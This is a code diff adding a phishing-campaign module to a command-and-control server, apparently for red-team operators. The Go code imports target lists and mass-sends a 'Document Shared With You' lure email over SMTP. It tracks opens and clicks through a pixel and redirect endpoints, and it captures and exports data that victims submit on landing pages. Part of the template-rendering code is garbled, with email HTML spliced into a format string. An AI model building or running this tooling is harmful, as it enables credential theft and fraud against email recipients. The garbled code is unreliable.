+func (s *PhishingService) HandleCampaignCreate(operator string, args string) {
+ var c Campaign
+ if err := json.Unmarshal([]byte(args), &c); err != nil {
+ s.sendError(operator, "Invalid campaign data: "+err.Error())
+ return
+ }
+
+ c.ID = generateID()
+ c.Status = "draft"
+ c.CreatedAt = nowUnix()
+ c.CreatedBy = operator
+
+ if c.RedirectURL == "" {
+ c.RedirectURL = "https://login.microsoftonline.com"
+ }
+ if c.SendDelay == 0 {
+ c.SendDelay = 3
+ }
+
+ if err := s.SaveCampaign(c); err != nil {
+ s.sendError(operator, "Failed to save campaign: "+err.Error())
+ return
+ }
+
+ s.sendResponseAll("campaigns", s.ListCampaignsWithStats())
+}
+
+func (s *PhishingService) HandleCampaignList(operator string) {
+ s.sendResponseClient(operator, "campaigns", s.ListCampaignsWithStats())
+}
+
+func (s *PhishingService) HandleCampaignDelete(operator string, args string) {
+ var req struct {
+ ID string `json:"id"`
+ }
+ if err := json.Unmarshal([]byte(args), &req); err != nil {
+ s.sendError(operator, "Invalid request")
+ return
+ }
+
+ s.mu.Lock()
+ if ch, ok := s.stopChans[req.ID]; ok {
+ close(ch)
+ delete(s.stopChans, req.ID)
+ }
+ s.mu.Unlock()
+
+ s.DeleteCampaign(req.ID)
+ s.sendResponseAll("campaigns", s.ListCampaignsWithStats())
+}
+
+func (s *PhishingService) HandleCampaignStart(operator string, args string) {
+ var req struct {
+ ID string `json:"id"`
+ }
+ if err := json.Unmarshal([]byte(args), &req); err != nil {
+ s.sendError(operator, "Invalid request")
+ return
+ }
+
+ campaign, err := s.LoadCampaign(req.ID)
+ if err != nil {
+ s.sendError(operator, "Campaign not found")
+ return
+ }
+
+ if campaign.Status == "running" {
+ s.sendError(operator, "Campaign is already running")
+ return
+ }
+
+ targets := s.LoadTargets(campaign.ID)
+ if len(targets) == 0 {
+ s.sendError(operator, "No targets for this campaign")
+ return
+ }
+
+ campaign.Status = "running"
+ s.SaveCampaign(campaign)
+
+ stopChan := make(chan struct{})
+ s.mu.Lock()
+ s.stopChans[campaign.ID] = stopChan
+ s.mu.Unlock()
+
+ s.sendResponseAll("campaigns", s.ListCampaignsWithStats())
+
+ go s.SendCampaign(operator, campaign, targets, stopChan)
+}
+
+func (s *PhishingService) HandleCampaignStop(operator string, args string) {
+ var req struct {
+ ID string `json:"id"`
+ }
+ if err := json.Unmarshal([]byte(args), &req); err != nil {
+ s.sendError(operator, "Invalid request")
+ return
+ }
+
+ s.mu.Lock()
+ if ch, ok := s.stopChans[req.ID]; ok {
+ close(ch)
+ delete(s.stopChans, req.ID)
+ }
+ s.mu.Unlock()
+
+ campaign, err := s.LoadCampaign(req.ID)
+ if err != nil {
+ return
+ }
+ campaign.Status = "paused"
+ s.SaveCampaign(campaign)
+ s.sendResponseAll("campaigns", s.ListCampaignsWithStats())
+}
+
+func (s *PhishingService) HandleTargetsImport(operator string, args string) {
+ var req struct {
+ CampaignID string `json:"campaign_id"`
+ CSV string `json:"csv"`
+ }
+ if err := json.Unmarshal([]byte(args), &req); err != nil {
+ s.sendError(operator, "Invalid request")
+ return
+ }
+
+ existing := s.LoadTargets(req.CampaignID)
+ newTargets := parseCSV(req.CSV, req.CampaignID)
+
+ combined := append(existing, newTargets...)
+ if err := s.SaveTargets(req.CampaignID, combined); err != nil {
+ s.sendError(operator, "Failed to save targets: "+err.Error())
+ return
+ }
+
+ s.sendResponseAll("targets", map[string]interface{}{
+ "campaign_id": req.CampaignID,
+ "targets": combined,
+ })
+ s.sendResponseAll("campaigns", s.ListCampaignsWithStats())
+}
+
+func (s *PhishingService) HandleTargetsList(operator string, args string) {
+ var req struct {
+ CampaignID string `json:"campaign_id"`
+ }
+ if err := json.Unmarshal([]byte(args), &req); err != nil {
+ s.sendError(operator, "Invalid request")
+ return
+ }
+
+ targets := s.LoadTargets(req.CampaignID)
+ s.sendResponseClient(operator, "targets", map[string]interface{}{
+ "campaign_id": req.CampaignID,
+ "targets": targets,
+ })
+}
+
+func (s *PhishingService) HandleTargetsDelete(operator string, args string) {
+ var req struct {
+ CampaignID string `json:"campaign_id"`
+ IDs []string `json:"ids"`
+ }
+ if err := json.Unmarshal([]byte(args), &req); err != nil {
+ s.sendError(operator, "Invalid request")
+ return
+ }
+
+ targets := s.LoadTargets(req.CampaignID)
+ idSet := make(map[string]bool)
+ for _, id := range req.IDs {
+ idSet[id] = true
+ }
+
+ var filtered []Target
+ for _, t := range targets {
+ if !idSet[t.ID] {
+ filtered = append(filtered, t)
+ }
+ }
+
+ s.SaveTargets(req.CampaignID, filtered)
+ s.sendResponseAll("targets", map[string]interface{}{
+ "campaign_id": req.CampaignID,
+ "targets": filtered,
+ })
+ s.sendResponseAll("campaigns", s.ListCampaignsWithStats())
+}
+
+func (s *PhishingService) HandleResultsList(operator string, args string) {
+ var req struct {
+ CampaignID string `json:"campaign_id"`
+ }
+ if err := json.Unmarshal([]byte(args), &req); err != nil {
+ s.sendError(operator, "Invalid request")
+ return
+ }
+
+ results := s.LoadResults(req.CampaignID)
+ s.sendResponseClient(operator, "results", map[string]interface{}{
+ "campaign_id": req.CampaignID,
+ "results": results,
+ })
+}
+
+func (s *PhishingService) HandleResultsExport(operator string, args string) {
+ var req struct {
+ CampaignID string `json:"campaign_id"`
+ }
+ if err := json.Unmarshal([]byte(args), &req); err != nil {
+ s.sendError(operator, "Invalid request")
+ return
+ }
+
+ results := s.LoadResults(req.CampaignID)
+ csv := resultsToCSV(results)
+ s.sendResponseClient(operator, "export", map[string]interface{}{
+ "campaign_id": req.CampaignID,
+ "csv": csv,
+ })
+}
+
+func (s *PhishingService) HandleTemplatesList(operator string) {
+ templates := s.listFiles("templates")
+ s.sendResponseClient(operator, "templates", templates)
+}
+
+func (s *PhishingService) HandleLandersList(operator string) {
+ landers := s.listFiles("landers")
+ s.sendResponseClient(operator, "landers", landers)
+}
+
+func (s *PhishingService) HandleTemplatePreview(operator string, args string) {
+ var req struct {
+ Type string `json:"type"` // "template" or "lander"
+ Name string `json:"name"`
+ }
+ if err := json.Unmarshal([]byte(args), &req); err != nil {
+ s.sendError(operator, "Invalid preview request")
+ return
+ }
+
+ var html string
+ if req.Type == "lander" {
+ html = s.loadLander(req.Name)
+ } else {
+ html = s.loadTemplate(req.Name)
+ }
+
+ if html == "" {
+ s.sendError(operator, "Template not found: "+req.Name)
+ return
+ }
+
+ // Replace template variables with example values
+ replacer := strings.NewReplacer(
+ "{{.FirstName}}", "John",
+ "{{.LastName}}", "Doe",
+ "{{.Email}}", "john.doe@contoso.com",
+ "{{.Company}}", "Contoso Ltd",
+ "{{.Position}}", "IT Manager",
+ "{{.ClickURL}}", "#",
+ "{{.TrackingURL}}", "#",
+ "{{.SubmitURL}}", "#",
+ "{{.Custom}}", "",
+ )
+ html = replacer.Replace(html)
+
+ resp := map[string]interface{}{
+ "preview_type": req.Type,
+ "name": req.Name,
+ "html": html,
+ }
+ s.sendResponseClient(operator, "preview", resp)
+}
+
+// ============================================================================
+// Campaign Sending
+// ============================================================================
+
+func (s *PhishingService) SendCampaign(operator string, campaign Campaign, targets []Target, stopChan chan struct{}) {
+ templateContent := s.loadTemplate(campaign.Template)
+ if templateContent == "" {
+ s.sendError(operator, "Failed to load email template: "+campaign.Template)
+ campaign.Status = "draft"
+ s.SaveCampaign(campaign)
+ s.sendResponseAll("campaigns", s.ListCampaignsWithStats())
+ return
+ }
+
+ results := s.LoadResults(campaign.ID)
+ sentIDs := make(map[string]bool)
+ for _, r := range results {
+ sentIDs[r.TargetID] = true
+ }
+
+ for _, target := range targets {
+ select {
+ case <-stopChan:
+ campaign.Status = "paused"
+ s.SaveCampaign(campaign)
+ s.sendResponseAll("campaigns", s.ListCampaignsWithStats())
+ return
+ default:
+ }
+
+ if sentIDs[target.ID] {
+ continue
+ }
+
+ trackingID := generateTrackingID()
+ result := Result{
+ ID: trackingID,
+ CampaignID: campaign.ID,
+ TargetID: target.ID,
+ Email: target.Email,
+ FirstName: target.FirstName,
+ LastName: target.LastName,
+ Status: "sending",
+ }
+
+ body := renderEmailTemplate(templateContent, campaign, target, trackingID)
+
+ err := sendEmail(campaign, target, body)
+ if err != nil {
+ result.Status = "error"
+ result.Error = err.Error()
+ } else {
+ result.Status = "sent"
+ result.SentAt = nowUnix()
+ }
+
+ results = append(results, result)
+ s.SaveResults(campaign.ID, results)
+
+ s.sendEvent("email_sent", result)
+
+ delay := campaign.SendDelay
+ if delay > 0 {
+ jitter := rand.Intn(delay/2+1) - delay/4
+ time.Sleep(time.Duration(delay+jitter) * time.Second)
+ }
+ }
+
+ campaign.Status = "completed"
+ s.SaveCampaign(campaign)
+ s.sendResponseAll("campaigns", s.ListCampaignsWithStats())
+}
+
+// ============================================================================
+// SMTP
+// ============================================================================
+
+func sendEmail(campaign Campaign, target Target, htmlBody string) error {
+ from := campaign.SenderEmail
+ to := target.Email
+
+ headers := make(map[string]string)
+ headers["From"] = fmt.Sprintf("%s <%s>", campaign.SenderName, from)
+ headers["To"] = to
+ headers["Subject"] = renderSubject(campaign.Subject, target)
+ headers["MIME-Version"] = "1.0"
+ headers["Content-Type"] = "text/html; charset=UTF-8"
+
+ var msg bytes.Buffer
+ for k, v := range headers {
+ msg.WriteString(fmt.Sprintf("%s: %s\r\n", k, v))
+ }
+ msg.WriteString("\r\n")
+ msg.WriteString(htmlBody)
+
+ addr := fmt.Sprintf("%s:%d", campaign.SmtpHost, campaign.SmtpPort)
+
+ if campaign.SmtpTLS {
+ return sendEmailTLS(addr, campaign.SmtpUser, campaign.SmtpPass, from, to, msg.Bytes())
+ }
+
+ var auth smtp.Auth
+ if campaign.SmtpUser != "" {
+ auth = smtp.PlainAuth("", campaign.SmtpUser, campaign.SmtpPass, campaign.SmtpHost)
+ }
+
+ return smtp.SendMail(addr, auth, from, []string{to}, msg.Bytes())
+}
+
+func sendEmailTLS(addr string, user string, pass string, from string, to string, msg []byte) error {
+ host := strings.Split(addr, ":")[0]
+
+ tlsConfig := &tls.Config{
+ ServerName: host,
+ }
+
+ conn, err := tls.Dial("tcp", addr, tlsConfig)
+ if err != nil {
+ return err
+ }
+
+ client, err := smtp.NewClient(conn, host)
+ if err != nil {
+ return err
+ }
+ defer client.Close()
+
+ if user != "" {
+ auth := smtp.PlainAuth("", user, pass, host)
+ if err = client.Auth(auth); err != nil {
+ return err
+ }
+ }
+
+ if err = client.Mail(from); err != nil {
+ return err
+ }
+ if err = client.Rcpt(to); err != nil {
+ return err
+ }
+
+ w, err := client.Data()
+ if err != nil {
+ return err
+ }
+ w.Write(msg)
+ w.Close()
+
+ return client.Quit()
+}
+
+// ============================================================================
+// Template Rendering
+// ============================================================================
+
+func renderEmailTemplate(template string, campaign Campaign, target Target, trackingID string) string {
+ baseURL := strings.TrimRight(campaign.BaseURL, "/")
+
+ trackingURL := fmt.Sprintf("%s/px/%s.png", baseURL, trackingID)
+ clickURL := fmt.Sprintf("%s/cl/%s", baseURL, trackingID)
+ landerURL := fmt.Sprintf("%s/lp/%s", baseURL, trackingID)
+
+ r := strings.NewReplacer(
+ "{{.FirstName}}", target.FirstName,
+ "{{.LastName}}", target.LastName,
+ "{{.Email}}", target.Email,
+ "{{.Company}}", target.Company,
+ "{{.Position}}", target.Position,
+ "{{.Custom}}", target.Custom,
+ "{{.TrackingURL}}", trackingURL,
+ "{{.ClickURL}}", clickURL,
+ "{{.LanderURL}}", landerURL,
+ "{{.Subject}}", campaign.Subject,
+ "{{.SenderName}}", campaign.SenderName,
+ "{{.SenderEmail}}", campaign.SenderEmail,
+ )
+ body := r.Replace(template)
+
+ if campaign.TrackOpens && !strings.Contains(body, trackingURL) {
+ pixel := fmt.Sprintf(`
`, trackingURL)
+ if idx := strings.LastIndex(body, "
+
+
+
+
+
+
+
+
+Document Shared With You
+ |
+
+
+
+
+|
+ Dear {{.FirstName}},
+
+A document has been shared with you that requires your review. Please click the link below to access it securely.
+
+
+
+If the button doesn't work, copy and paste this link into your browser:
+{{.ClickURL}}
+
+This link will expire in 24 hours.
+ |
+
+
+
+
+|
+ This is an automated notification. Please do not reply to this email.
+ |
+
+
+
+ |
+
+
+"); idx >= 0 {
+ body = body[:idx] + pixel + body[idx:]
+ } else {
+ body += pixel
+ }
+ }
+
+ return body
+}
+
+func renderSubject(subject string, target Target) string {
+ r := strings.NewReplacer(
+ "{{.FirstName}}", target.FirstName,
+ "{{.LastName}}", target.LastName,
+ "{{.Email}}", target.Email,
+ "{{.Company}}", target.Company,
+ "{{.Position}}", target.Position,
+ )
+ return r.Replace(subject)
+}
+
+// ============================================================================
+// CSV Parsing
+// ============================================================================
+
+func parseCSV(csvData string, campaignID string) []Target {
+ var targets []Target
+ lines := strings.Split(strings.TrimSpace(csvData), "\n")
+ if len(lines) < 2 {
+ return targets
+ }
+
+ header := strings.Split(strings.TrimSpace(lines[0]), ",")
+ colMap := make(map[string]int)
+ for i, h := range header {
+ colMap[strings.ToLower(strings.TrimSpace(h))] = i
+ }
+
+ for _, line := range lines[1:] {
+ line = strings.TrimSpace(line)
+ if line == "" {
+ continue
+ }
+ cols := strings.Split(line, ",")
+
+ t := Target{
+ ID: generateID(),
+ CampaignID: campaignID,
+ }
+
+ if idx, ok := colMap["email"]; ok && idx < len(cols) {
+ t.Email = strings.TrimSpace(cols[idx])
+ }
+ if idx, ok := colMap["first_name"]; ok && idx < len(cols) {
+ t.FirstName = strings.TrimSpace(cols[idx])
+ } else if idx, ok := colMap["firstname"]; ok && idx < len(cols) {
+ t.FirstName = strings.TrimSpace(cols[idx])
+ }
+ if idx, ok := colMap["last_name"]; ok && idx < len(cols) {
+ t.LastName = strings.TrimSpace(cols[idx])
+ } else if idx, ok := colMap["lastname"]; ok && idx < len(cols) {
+ t.LastName = strings.TrimSpace(cols[idx])
+ }
+ if idx, ok := colMap["position"]; ok && idx < len(cols) {
+ t.Position = strings.TrimSpace(cols[idx])
+ }
+ if idx, ok := colMap["company"]; ok && idx < len(cols) {
+ t.Company = strings.TrimSpace(cols[idx])
+ }
+ if idx, ok := colMap["custom"]; ok && idx < len(cols) {
+ t.Custom = strings.TrimSpace(cols[idx])
+ }
+
+ if t.Email != "" {
+ targets = append(targets, t)
+ }
+ }
+
+ return targets
+}
+
+func resultsToCSV(results []Result) string {
+ var buf bytes.Buffer
+ buf.WriteString("email,first_name,last_name,status,sent_at,opened_at,clicked_at,submit_at,remote_ip,user_agent,submit_data\n")
+ for _, r := range results {
+ buf.WriteString(fmt.Sprintf("%s,%s,%s,%s,%d,%d,%d,%d,%s,%s,%s\n",
+ r.Email, r.FirstName, r.LastName, r.Status,
+ r.SentAt, r.OpenedAt, r.ClickedAt, r.SubmitAt,
+ r.RemoteIP, r.UserAgent, r.SubmitData,
+ ))
+ }
+ return buf.String()
+}
+
+// ============================================================================
+// File Helpers
+// ============================================================================
+
+func (s *PhishingService) loadTemplate(name string) string {
+ path := filepath.Join(s.moduleDir, "templates", name)
+ data, err := os.ReadFile(path)
+ if err != nil {
+ return ""
+ }
+ return string(data)
+}
+
+func (s *PhishingService) loadLander(name string) string {
+ path := filepath.Join(s.moduleDir, "landers", name)
+ data, err := os.ReadFile(path)
+ if err != nil {
+ return ""
+ }
+ return string(data)
+}
+
+func (s *PhishingService) listFiles(subdir string) []string {
+ var files []string
+ dir := filepath.Join(s.moduleDir, subdir)
+ entries, err := os.ReadDir(dir)
+ if err != nil {
+ return files
+ }
+ for _, e := range entries {
+ if !e.IsDir() && strings.HasSuffix(e.Name(), ".html") {
+ files = append(files, e.Name())
+ }
+ }
+ return files
+}
+
+// ListCampaignsWithStats returns all campaigns enriched with their stats.
+func (s *PhishingService) ListCampaignsWithStats() []map[string]interface{} {
+ campaigns := s.ListCampaigns()
+ var result []map[string]interface{}
+ for _, c := range campaigns {
+ stats := s.GetCampaignStats(c.ID)
+ entry := map[string]interface{}{
+ "id": c.ID,
+ "name": c.Name,
+ "status": c.Status,
+ "smtp_host": c.SmtpHost,
+ "smtp_port": c.SmtpPort,
+ "smtp_user": c.SmtpUser,
+ "smtp_pass": c.SmtpPass,
+ "smtp_tls": c.SmtpTLS,
+ "sender_email": c.SenderEmail,
+ "sender_name": c.SenderName,
+ "subject": c.Subject,
+ "template": c.Template,
+ "lander": c.Lander,
+ "track_opens": c.TrackOpens,
+ "track_clicks": c.TrackClicks,
+ "base_url": c.BaseURL,
+ "redirect_url": c.RedirectURL,
+ "send_delay": c.SendDelay,
+ "created_at": c.CreatedAt,
+ "created_by": c.CreatedBy,
+ "total_targets": stats.TotalTargets,
+ "sent": stats.Sent,
+ "opened": stats.Opened,
+ "clicked": stats.Clicked,
+ "submitted": stats.Submitted,
+ "errors": stats.Errors,
+ }
+ result = append(result, entry)
+ }
+ return result
+}
diff --git a/AdaptixServer/extenders/phishing_service/pl_data.go b/AdaptixServer/extenders/phishing_service/pl_data.go
new file mode 100644
index 000000000..9542b9377
--- /dev/null
+++ b/AdaptixServer/extenders/phishing_service/pl_data.go
@@ -0,0 +1,261 @@
+package main
+
+import (
+ "crypto/rand"
+ "encoding/hex"
+ "encoding/json"
+ "fmt"
+ "strings"
+ "time"
+)
+
+// ============================================================================
+// Data Models
+// ============================================================================
+
+type Campaign struct {
+ ID string `json:"id"`
+ Name string `json:"name"`
+ Status string `json:"status"` // draft, running, paused, completed
+ SmtpHost string `json:"smtp_host"`
+ SmtpPort int `json:"smtp_port"`
+ SmtpUser string `json:"smtp_user"`
+ SmtpPass string `json:"smtp_pass"`
+ SmtpTLS bool `json:"smtp_tls"`
+ SenderEmail string `json:"sender_email"`
+ SenderName string `json:"sender_name"`
+ Subject string `json:"subject"`
+ Template string `json:"template"`
+ Lander string `json:"lander"`
+ TrackOpens bool `json:"track_opens"`
+ TrackClicks bool `json:"track_clicks"`
+ BaseURL string `json:"base_url"`
+ RedirectURL string `json:"redirect_url"`
+ SendDelay int `json:"send_delay"` // seconds between emails
+ CreatedAt int64 `json:"created_at"`
+ CreatedBy string `json:"created_by"`
+}
+
+type Target struct {
+ ID string `json:"id"`
+ CampaignID string `json:"campaign_id"`
+ Email string `json:"email"`
+ FirstName string `json:"first_name"`
+ LastName string `json:"last_name"`
+ Position string `json:"position"`
+ Company string `json:"company"`
+ Custom string `json:"custom"`
+}
+
+type Result struct {
+ ID string `json:"id"`
+ CampaignID string `json:"campaign_id"`
+ TargetID string `json:"target_id"`
+ Email string `json:"email"`
+ FirstName string `json:"first_name"`
+ LastName string `json:"last_name"`
+ Status string `json:"status"` // sent, delivered, opened, clicked, submitted, error
+ SentAt int64 `json:"sent_at"`
+ OpenedAt int64 `json:"opened_at"`
+ ClickedAt int64 `json:"clicked_at"`
+ SubmitAt int64 `json:"submit_at"`
+ UserAgent string `json:"user_agent"`
+ RemoteIP string `json:"remote_ip"`
+ SubmitData string `json:"submit_data"`
+ Error string `json:"error"`
+}
+
+// ============================================================================
+// ID Generation
+// ============================================================================
+
+func generateID() string {
+ b := make([]byte, 16)
+ rand.Read(b)
+ return hex.EncodeToString(b)
+}
+
+func generateTrackingID() string {
+ b := make([]byte, 12)
+ rand.Read(b)
+ return hex.EncodeToString(b)
+}
+
+// ============================================================================
+// Campaign CRUD
+// ============================================================================
+
+func (s *PhishingService) SaveCampaign(c Campaign) error {
+ data, err := json.Marshal(c)
+ if err != nil {
+ return err
+ }
+ return s.ts.TsExtenderDataSave(ExtenderName, "campaign:"+c.ID, data)
+}
+
+func (s *PhishingService) LoadCampaign(id string) (Campaign, error) {
+ var c Campaign
+ data, err := s.ts.TsExtenderDataLoad(ExtenderName, "campaign:"+id)
+ if err != nil {
+ return c, err
+ }
+ err = json.Unmarshal(data, &c)
+ return c, err
+}
+
+func (s *PhishingService) DeleteCampaign(id string) error {
+ _ = s.ts.TsExtenderDataDelete(ExtenderName, "campaign:"+id)
+ _ = s.ts.TsExtenderDataDelete(ExtenderName, "targets:"+id)
+ _ = s.ts.TsExtenderDataDelete(ExtenderName, "results:"+id)
+ return nil
+}
+
+func (s *PhishingService) ListCampaigns() []Campaign {
+ var campaigns []Campaign
+ keys, err := s.ts.TsExtenderDataKeys(ExtenderName)
+ if err != nil {
+ return campaigns
+ }
+
+ for _, key := range keys {
+ if strings.HasPrefix(key, "campaign:") {
+ data, err := s.ts.TsExtenderDataLoad(ExtenderName, key)
+ if err != nil {
+ continue
+ }
+ var c Campaign
+ if json.Unmarshal(data, &c) == nil {
+ campaigns = append(campaigns, c)
+ }
+ }
+ }
+ return campaigns
+}
+
+// ============================================================================
+// Target CRUD
+// ============================================================================
+
+func (s *PhishingService) SaveTargets(campaignID string, targets []Target) error {
+ data, err := json.Marshal(targets)
+ if err != nil {
+ return err
+ }
+ return s.ts.TsExtenderDataSave(ExtenderName, "targets:"+campaignID, data)
+}
+
+func (s *PhishingService) LoadTargets(campaignID string) []Target {
+ var targets []Target
+ data, err := s.ts.TsExtenderDataLoad(ExtenderName, "targets:"+campaignID)
+ if err != nil {
+ return targets
+ }
+ json.Unmarshal(data, &targets)
+ return targets
+}
+
+// ============================================================================
+// Result CRUD
+// ============================================================================
+
+func (s *PhishingService) SaveResults(campaignID string, results []Result) error {
+ data, err := json.Marshal(results)
+ if err != nil {
+ return err
+ }
+ return s.ts.TsExtenderDataSave(ExtenderName, "results:"+campaignID, data)
+}
+
+func (s *PhishingService) LoadResults(campaignID string) []Result {
+ var results []Result
+ data, err := s.ts.TsExtenderDataLoad(ExtenderName, "results:"+campaignID)
+ if err != nil {
+ return results
+ }
+ json.Unmarshal(data, &results)
+ return results
+}
+
+// LoadResultByTrackingID searches all campaign results for a specific tracking ID.
+func (s *PhishingService) LoadResultByTrackingID(trackingID string) (*Result, string) {
+ keys, err := s.ts.TsExtenderDataKeys(ExtenderName)
+ if err != nil {
+ return nil, ""
+ }
+
+ for _, key := range keys {
+ if !strings.HasPrefix(key, "results:") {
+ continue
+ }
+ campaignID := strings.TrimPrefix(key, "results:")
+ results := s.LoadResults(campaignID)
+ for i := range results {
+ if results[i].ID == trackingID {
+ return &results[i], campaignID
+ }
+ }
+ }
+ return nil, ""
+}
+
+// UpdateResult updates a specific result within its campaign's results.
+func (s *PhishingService) UpdateResult(campaignID string, result *Result) error {
+ results := s.LoadResults(campaignID)
+ for i := range results {
+ if results[i].ID == result.ID {
+ results[i] = *result
+ return s.SaveResults(campaignID, results)
+ }
+ }
+ return fmt.Errorf("result not found")
+}
+
+// ============================================================================
+// Campaign Stats
+// ============================================================================
+
+type CampaignStats struct {
+ TotalTargets int `json:"total_targets"`
+ Sent int `json:"sent"`
+ Opened int `json:"opened"`
+ Clicked int `json:"clicked"`
+ Submitted int `json:"submitted"`
+ Errors int `json:"errors"`
+}
+
+func (s *PhishingService) GetCampaignStats(campaignID string) CampaignStats {
+ results := s.LoadResults(campaignID)
+ targets := s.LoadTargets(campaignID)
+ stats := CampaignStats{
+ TotalTargets: len(targets),
+ }
+ for _, r := range results {
+ switch r.Status {
+ case "error":
+ stats.Errors++
+ case "submitted":
+ stats.Submitted++
+ stats.Clicked++
+ stats.Opened++
+ stats.Sent++
+ case "clicked":
+ stats.Clicked++
+ stats.Opened++
+ stats.Sent++
+ case "opened":
+ stats.Opened++
+ stats.Sent++
+ case "sent":
+ stats.Sent++
+ }
+ }
+ return stats
+}
+
+// ============================================================================
+// Helpers
+// ============================================================================
+
+func nowUnix() int64 {
+ return time.Now().Unix()
+}
diff --git a/AdaptixServer/extenders/phishing_service/pl_main.go b/AdaptixServer/extenders/phishing_service/pl_main.go
new file mode 100644
index 000000000..8f42b3980
--- /dev/null
+++ b/AdaptixServer/extenders/phishing_service/pl_main.go
@@ -0,0 +1,151 @@
+package main
+
+import (
+ "encoding/json"
+ "net/http"
+ "sync"
+
+ adaptix "github.com/Adaptix-Framework/axc2"
+)
+
+type Teamserver interface {
+ TsExtenderDataSave(extenderName string, key string, value []byte) error
+ TsExtenderDataLoad(extenderName string, key string) ([]byte, error)
+ TsExtenderDataDelete(extenderName string, key string) error
+ TsExtenderDataKeys(extenderName string) ([]string, error)
+
+ TsEndpointRegisterPublicRaw(method string, path string, handler func(w http.ResponseWriter, r *http.Request)) error
+ TsEndpointUnregisterPublic(method string, path string) error
+ TsEndpointExistsPublic(method string, path string) bool
+
+ TsServiceSendDataAll(service string, data string)
+ TsServiceSendDataClient(operator string, service string, data string)
+}
+
+const ServiceName = "Phishing"
+const ExtenderName = "phishing_service"
+
+type PhishingService struct {
+ ts Teamserver
+ moduleDir string
+ mu sync.RWMutex
+ stopChans map[string]chan struct{} // campaignID -> stop channel
+}
+
+var (
+ Ts Teamserver
+ ModuleDir string
+ Service *PhishingService
+)
+
+func InitPlugin(ts any, moduleDir string, serviceConfig string) adaptix.PluginService {
+ Ts = ts.(Teamserver)
+ ModuleDir = moduleDir
+
+ Service = &PhishingService{
+ ts: Ts,
+ moduleDir: moduleDir,
+ stopChans: make(map[string]chan struct{}),
+ }
+
+ Service.RegisterEndpoints()
+
+ return Service
+}
+
+func (s *PhishingService) Call(operator string, function string, args string) {
+ switch function {
+
+ case "campaign_create":
+ s.HandleCampaignCreate(operator, args)
+
+ case "campaign_list":
+ s.HandleCampaignList(operator)
+
+ case "campaign_delete":
+ s.HandleCampaignDelete(operator, args)
+
+ case "campaign_start":
+ s.HandleCampaignStart(operator, args)
+
+ case "campaign_stop":
+ s.HandleCampaignStop(operator, args)
+
+ case "targets_import":
+ s.HandleTargetsImport(operator, args)
+
+ case "targets_list":
+ s.HandleTargetsList(operator, args)
+
+ case "targets_delete":
+ s.HandleTargetsDelete(operator, args)
+
+ case "results_list":
+ s.HandleResultsList(operator, args)
+
+ case "results_export":
+ s.HandleResultsExport(operator, args)
+
+ case "templates_list":
+ s.HandleTemplatesList(operator)
+
+ case "landers_list":
+ s.HandleLandersList(operator)
+
+ case "template_preview":
+ s.HandleTemplatePreview(operator, args)
+ }
+}
+
+// sendResponse sends a JSON response back to all connected clients via the service data channel.
+func (s *PhishingService) sendResponseAll(msgType string, data interface{}) {
+ resp := map[string]interface{}{
+ "type": msgType,
+ "data": data,
+ }
+ jsonData, err := json.Marshal(resp)
+ if err != nil {
+ return
+ }
+ s.ts.TsServiceSendDataAll(ServiceName, string(jsonData))
+}
+
+// sendResponseClient sends a JSON response to a specific operator.
+func (s *PhishingService) sendResponseClient(operator string, msgType string, data interface{}) {
+ resp := map[string]interface{}{
+ "type": msgType,
+ "data": data,
+ }
+ jsonData, err := json.Marshal(resp)
+ if err != nil {
+ return
+ }
+ s.ts.TsServiceSendDataClient(operator, ServiceName, string(jsonData))
+}
+
+// sendEvent sends a real-time event notification to all clients.
+func (s *PhishingService) sendEvent(eventType string, data interface{}) {
+ resp := map[string]interface{}{
+ "type": "event",
+ "event": eventType,
+ "data": data,
+ }
+ jsonData, err := json.Marshal(resp)
+ if err != nil {
+ return
+ }
+ s.ts.TsServiceSendDataAll(ServiceName, string(jsonData))
+}
+
+// sendError sends an error message to a specific operator.
+func (s *PhishingService) sendError(operator string, message string) {
+ resp := map[string]interface{}{
+ "type": "error",
+ "message": message,
+ }
+ jsonData, err := json.Marshal(resp)
+ if err != nil {
+ return
+ }
+ s.ts.TsServiceSendDataClient(operator, ServiceName, string(jsonData))
+}
diff --git a/AdaptixServer/extenders/phishing_service/pl_tracker.go b/AdaptixServer/extenders/phishing_service/pl_tracker.go
new file mode 100644
index 000000000..3e4729900
--- /dev/null
+++ b/AdaptixServer/extenders/phishing_service/pl_tracker.go
@@ -0,0 +1,253 @@
+package main
+
+import (
+ "encoding/json"
+ "fmt"
+ "net/http"
+ "strings"
+)
+
+// 1x1 transparent GIF
+var transparentGIF = []byte{
+ 0x47, 0x49, 0x46, 0x38, 0x39, 0x61, 0x01, 0x00, 0x01, 0x00,
+ 0x80, 0x00, 0x00, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x21,
+ 0xf9, 0x04, 0x01, 0x00, 0x00, 0x00, 0x00, 0x2c, 0x00, 0x00,
+ 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x02, 0x02, 0x44,
+ 0x01, 0x00, 0x3b,
+}
+
+// RegisterEndpoints registers the public tracking endpoints.
+func (s *PhishingService) RegisterEndpoints() {
+ s.ts.TsEndpointRegisterPublicRaw("GET", "/px/:id", s.HandleTrackingPixel)
+ s.ts.TsEndpointRegisterPublicRaw("GET", "/cl/:id", s.HandleClick)
+ s.ts.TsEndpointRegisterPublicRaw("GET", "/lp/:id", s.HandleLander)
+ s.ts.TsEndpointRegisterPublicRaw("POST", "/sb/:id", s.HandleSubmit)
+}
+
+// extractPathID extracts the last segment of the URL path.
+// For /px/abc123.png it returns "abc123" (stripping .png extension)
+// For /cl/abc123 it returns "abc123"
+func extractPathID(r *http.Request) string {
+ path := r.URL.Path
+ parts := strings.Split(path, "/")
+ if len(parts) == 0 {
+ return ""
+ }
+ last := parts[len(parts)-1]
+ // Strip .png extension for tracking pixel
+ last = strings.TrimSuffix(last, ".png")
+ return last
+}
+
+func getRemoteIP(r *http.Request) string {
+ if xff := r.Header.Get("X-Forwarded-For"); xff != "" {
+ parts := strings.Split(xff, ",")
+ return strings.TrimSpace(parts[0])
+ }
+ if xri := r.Header.Get("X-Real-IP"); xri != "" {
+ return xri
+ }
+ return strings.Split(r.RemoteAddr, ":")[0]
+}
+
+// ============================================================================
+// GET /px/:id — Tracking Pixel
+// ============================================================================
+
+func (s *PhishingService) HandleTrackingPixel(w http.ResponseWriter, r *http.Request) {
+ trackingID := extractPathID(r)
+ if trackingID == "" {
+ w.Header().Set("Content-Type", "image/gif")
+ w.Write(transparentGIF)
+ return
+ }
+
+ s.mu.Lock()
+ result, campaignID := s.LoadResultByTrackingID(trackingID)
+ if result != nil && result.OpenedAt == 0 {
+ result.Status = statusMax(result.Status, "opened")
